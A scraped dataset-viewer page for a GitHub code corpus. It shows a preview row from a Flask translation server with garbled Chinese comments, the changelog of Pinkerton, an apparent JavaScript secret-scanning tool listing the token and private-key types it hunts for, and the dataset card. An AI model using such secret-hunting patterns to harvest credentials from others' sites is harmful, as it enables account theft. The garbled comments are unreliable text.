่ฟ”ๅ›ž็ฟป่ฏ‘็ป“ๆžœๅญ—็ฌฆไธฒ else: # ๅฆ‚ๆžœ็ฟป่ฏ‘็ป“ๆžœไธๆ˜ฏๅญ—็ฌฆไธฒ็ฑปๅž‹ (ไพ‹ๅฆ‚๏ผŒ่ฟ”ๅ›žไบ† False)๏ผŒๅˆ™่กจ็คบ็ฟป่ฏ‘ๅคฑ่ดฅ return translation, 500 # ่ฟ”ๅ›ž็ฟป่ฏ‘ๅคฑ่ดฅ็š„็Šถๆ€็  500 ๅ’Œๅ…ทไฝ“็š„้”™่ฏฏไฟกๆฏ (ๅฆ‚ๆžœ translation ไธญๅŒ…ๅซไบ†้”™่ฏฏไฟกๆฏ) def main(): """ ไธปๅ‡ฝๆ•ฐ๏ผŒๅฏๅŠจ Flask ๅบ”็”จๅ’Œ gevent ๆœๅŠกๅ™จใ€‚ """ print("\033[31mๆœๅŠกๅ™จๅœจ http://127.0.0.1:4000 ไธŠๅฏๅŠจ\033[0m") # ๆ‰“ๅฐๆœๅŠกๅ™จๅฏๅŠจไฟกๆฏ๏ผŒๆ็คบ็”จๆˆท่ฎฟ้—ฎๅœฐๅ€ http_server = WSGIServer(('127.0.0.1', 4000), app, log=None, error_log=None) # ๅˆ›ๅปบ gevent WSGIServer ๅฎžไพ‹๏ผŒ็›‘ๅฌ 127.0.0.1:4000 ็ซฏๅฃ๏ผŒไฝฟ็”จ Flask app ๅค„็†่ฏทๆฑ‚๏ผŒ็ฆ็”จ่ฎฟ้—ฎๆ—ฅๅฟ—ๅ’Œ้”™่ฏฏๆ—ฅๅฟ— (log=None, error_log=None) http_server.serve_forever() # ๅฏๅŠจ gevent ๆœๅŠกๅ™จ๏ผŒๆ— ้™ๅพช็Žฏ่ฟ่กŒ๏ผŒ็ญ‰ๅพ…ๅ’Œๅค„็†ๅฎขๆˆท็ซฏ่ฏทๆฑ‚ if __name__ == '__main__': main() # ๅฝ“่„šๆœฌไฝœไธบไธป็จ‹ๅบ่ฟ่กŒๆ—ถ๏ผŒ่ฐƒ็”จ main ๅ‡ฝๆ•ฐๅฏๅŠจๆœๅŠกๅ™จ
000pp/Pinkerton
3,190
CHANGELOG.md
# 1.7 - 10/05/2025 - Removed "banner.txt" file - Removed ASCII art from banner - Changed color and print scheme - Changed "rich.print" to "rich.console.print" - Improved the code - Add -H option, now you can specify custom headers, for example: ``` python3 main.py -u https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a -H "First-Header" "First-Header-Value" -H "Second-Header" "Second-Header-Value" GET https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a second-header Second-Header-Value first-header First-Header-Value ``` - Removed Heroku API Key regex because of false positives <br> # 1.6c - 20/07/2023 - Major changes - Removed "assets" folder (moved banner img to imgur) <br> # 1.6b - 06/08/2022 - Added 2 new secrets regex patterns: - Asana Client ID - Asana Client Secret - IPv4 regex pattern removed because of false positives <br> # 1.6a - 04/08/2022 - Added 4 new secrets regex patterns: - Shopify Access Token - Shopify Custom Access Token - Shopify Private App Access Token - Shopify Shared Secret - Changed regex and jsbeautify import libs <br> # 1.6 - 31/07/2022 - Added 11 new secrets regex patterns: - URL Schemes - Adobe Client Secret - Alibaba AccessKey ID - Clojars API Token - Doppler API Token - Dynatrace API Token - EasyPost API Token - GitHub App Token - GitHub Personal Access Token - GitLab Personal Access Token - NPM Access Token - Fixed GCP API Key regex - Removed useless if/else code <br> # 1.5a - 28/07/2022 - Added 2 new secrets regex patterns: - Slack Webhook+ - Slack OAuth Tokens <br> # 1.5 - 28/07/2022 - Added 9 new secrets regex patterns: - Artifactory API Token & Password - Cloudinary Basic Auth - Facebook Client ID - IPv4 Address - Linkedin Secret Key - Picatic API Key - Mailto String - Slack Token - URL Parameters - Fixed error message when not parsing arguments - Changed status messages icons - Changed README.md banner - Updated README.md <br> # 1.4 - 18/07/2022 - Added 5 new secrets regex patterns: - PGP Private Key Block - SSH DSA Private Key - SSH EC Private Key - SSH RSA Key - SSH ED25519 Public Key - Added jsbeautifier lib to improve regex pattern matching - Fixed blank regex pattern matching caused by not beautified code - Fixed infinite JavaScript file scanning <br> # 1.3 - 04/07/2022 - Added and updated a bunch of secrets regex: - Cloudinary - Firebase URL - Slack Token - Facebook Access & API - Mailgun API Key - Heroku API Key - Picatic API Key - Paypal Braintree - Twitter Access & OAuth Token - GitHub URL - Stripe - Slack Webhook - Twilio API Key - Square Access Token & OAuth Secret - Removed text file with URLs scanner to fix bugs <br> # 1.2b - 21/06/2022 - Pinkerton accept a text file with URLs now! <br> # 1.2 - 21/06/2022 - Secret searcher module finished! - Improved the code <br> # 1.1 - 20/06/2022 - JavaScript file link extractor finished! - Improved the code - Thinking in a better color system... <br> # 1.0 - 09/06/2022 - Official Pinkerton release
End of preview. Expand in Data Studio

๐Ÿš€ GitHub Code 2025: The Clean Code Manifesto

A meticulously curated dataset of 1.5M+ repositories representing both quality and innovation in 2025's code ecosystem

๐ŸŒŸ The Philosophy

Quality Over Quantity, Purpose Over Volume

In an era of data abundance, we present a dataset built on radical curation. Every file, every repository, every byte has been carefully selected to represent the signal in the noise of open-source development.

๐ŸŽฏ What This Dataset Is

๐Ÿ“Š Dual-Perspective Design

Subset ๐ŸŽ–๏ธ Above 2 Stars ๐ŸŒฑ Below 2 Stars (2025)
Scope 1M top repositories 1M random 2025 repos
Purpose Proven quality & patterns Emerging trends & innovation
Value What works What's next

๐Ÿงน The Clean Code Promise

# What you WON'T find here:
๐Ÿšซ Binary files          # No images, executables, models
๐Ÿšซ Build artifacts       # No node_modules, __pycache__
๐Ÿšซ Configuration noise   # No .git, IDE files, lock files
๐Ÿšซ License duplication   # No repetitive legal text
๐Ÿšซ Minified code         # No compressed/obfuscated content
๐Ÿšซ Empty files           # No whitespace-only content

๐Ÿ“ Dataset Structure

github-code-2025/
โ”œโ”€โ”€ ๐Ÿ“ˆ above-2-stars/
โ”‚   โ”œโ”€โ”€ train_000.parquet
โ”‚   โ”œโ”€โ”€ train_001.parquet
โ”‚   โ””โ”€โ”€ ...
โ””โ”€โ”€ ๐ŸŒฑ below-2-star/
    โ”œโ”€โ”€ train_000.parquet
    โ”œโ”€โ”€ train_001.parquet
    โ””โ”€โ”€ ...

๐Ÿ“Š Schema

{
    "repo_id": "owner/repo_name",    # ๐Ÿ“ Repository identifier
    "file_path": "src/main.py",      # ๐Ÿ—‚๏ธ Relative file path
    "content": "def clean_code():",   # ๐Ÿ’Ž Actual source code
    "size": 1024                     # ๐Ÿ“ File size in bytes
}

๐Ÿ› ๏ธ How to Use

๐Ÿ”ฅ Quick Start

from datasets import load_dataset

# Load the quality benchmark
quality_ds = load_dataset("nick007x/github-code-2025", "above-2-stars")

# Load emerging trends
emerging_ds = load_dataset("nick007x/github-code-2025", "below-2-star")

# Mix for balanced training
balanced_ds = interleave_datasets([quality_ds, emerging_ds])

๐ŸŽฏ Ideal Use Cases

  • ๐Ÿง  AI Training: Clean, diverse code for language models
  • ๐Ÿ“Š Code Analysis: Compare popular vs emerging patterns
  • ๐Ÿ” Trend Research: 2025 development practices
  • ๐ŸŽ“ Education: High-quality examples for learning
  • ๐Ÿ› ๏ธ Tool Development: Benchmarking code quality tools

๐Ÿ—๏ธ Creation Methodology

๐ŸŽจ Selection Strategy

Phase Action Purpose
1 ๐ŸŽฏ Dual population sampling Balance quality & innovation
2 ๐Ÿงน Multi-layer filtering Remove noise & binaries
3 ๐Ÿ“ Size normalization Focus on meaningful content
4 ๐Ÿ” Content validation Ensure text quality
5 ๐Ÿท๏ธ Metadata preservation Maintain context

๐Ÿšซ What We Filtered Out

File Types Removed:

  • 50+ binary extensions (images, models, executables)
  • 30+ build/system directories
  • 15+ configuration file types
  • All files outside 1KB-5MB range

Quality Checks:

  • โœ… UTF-8 text validation
  • โœ… Non-empty content check
  • โœ… Binary detection
  • โœ… Repository structure preservation

๐ŸŽช Why This Dataset Matters

๐Ÿ’ซ The Quality Revolution

We reject the "more data is better" dogma. Instead, we offer:

  • ๐ŸŽฏ Intentional Curation: Every file serves a purpose
  • โš–๏ธ Balanced Perspective: Popular + Emerging = Complete picture
  • ๐Ÿงน Unprecedented Cleanliness: The cleanest code dataset available
  • ๐Ÿ“… Temporal Intelligence: 2025-focused for relevance

๐Ÿค Contributing & Feedback

This dataset is a living project. We welcome:

  • ๐Ÿ› Bug reports and issues
  • ๐Ÿ’ก Feature requests for future versions
  • ๐Ÿ“Š Validation of data quality
  • ๐ŸŽฏ Suggestions for improvement

๐Ÿ“œ License

This dataset aggregates Github repos. Each individual repo maintains its original copyright and license terms (typically various Creative Commons licenses like CC BY, CC BY-NC, etc.). Users must verify and comply with the specific license of any repo they extract and use from this collection. The MIT license in this repository applies only to the dataset compilation and packaging code.

Important: Repository contents maintain their original licenses. Please respect individual project licenses when using this data.

๐Ÿ™ Acknowledgments

Built with gratitude for the entire open-source community. Every file in this dataset represents hours of dedication from developers worldwide.


โญ If this dataset helps your research or project, please consider starring the repository!

"In the pursuit of AI that understands code, we must first understand what code is worth learning."

Downloads last month
1,164